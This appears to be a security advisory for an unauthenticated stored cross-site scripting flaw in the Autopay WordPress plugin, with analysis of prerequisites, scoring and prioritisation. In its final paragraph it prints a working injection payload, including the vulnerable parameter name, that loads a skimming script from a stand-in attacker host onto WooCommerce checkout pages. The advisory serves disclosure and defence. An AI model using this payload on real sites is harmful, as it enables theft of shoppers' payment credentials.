Autopay CVE-2026-15002

No special configuration, authentication, or site-specific condition is required for the attacker to store the malicious payload: any unauthenticated HTTP client can POST the bm_woocommerce_css_editor_content parameter to any URL on the WordPress installation, because Css_Editor::handle_save() is bound to the 'init' hook (which fires unconditionally on every request) with neither a WordPress capability check (current_user_can()) nor a nonce verification (check_admin_referer()). The only prerequisites for exploitation are that the Autopay plugin version 5.0.0 or earlier is installed and active, and that WooCommerce is installed and active so the checkout page exists. For the stored payload to execute, victim users must subsequently visit the WooCommerce checkout page - a normal part of any purchase flow requiring no unusual or coerced user action. Limiting factors: a Content Security Policy that blocks inline scripts or disallows external script sources would impede JavaScript execution even if the payload is stored; absence of active WooCommerce stores (e.g., plugin installed but no products listed) would prevent victim exposure; and network-layer WAFs capable of detecting style-context injection patterns may block payload delivery.

The CVSS 7.2 base score (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) accurately represents the severity landscape: the attack requires no authentication, no complexity, and no user interaction on the attacker's side, while the Changed scope flag captures the downstream impact on checkout page visitors whose browsers execute the injected payload. The checkout page context materially elevates real-world risk beyond what the numeric score alone conveys - this is exactly the surface targeted by Magecart-style payment skimming operations, and even a mid-sized municipal IT team in tczew operating a WooCommerce store for public-facing services should treat this as urgent remediation rather than routine patching. No EPSS score was provided in the source intelligence, precluding probabilistic exploitation comparison; the vulnerability is not currently in the CISA KEV catalog, and no weaponized proof-of-concept has been identified. SSVC signals nevertheless favour high priority: exploitation is not confirmed but the technique is trivially automatable (a single HTTP POST to any site URL with no prerequisite fingerprinting), and the technical impact on subsequent systems - browsing victims - is partial confidentiality and integrity compromise at a maximally sensitive interaction point.

An unauthenticated attacker sends a single HTTP POST request to any page on the target WordPress site with the body parameter bm_woocommerce_css_editor_content set to a payload such as </style><script src='https://attacker.com/skim.js'></script><style>, triggering Css_Editor::handle_save() silently via the 'init' hook and persisting the payload in the WordPress database. From that point forward, every user who visits the WooCommerce checkout page - typically customers actively entering payment card details - receives and executes the attacker's script, enabling real-time session hijacking, form-field interception, or exfiltration of payment credentials to an attacker-controlled endpoint.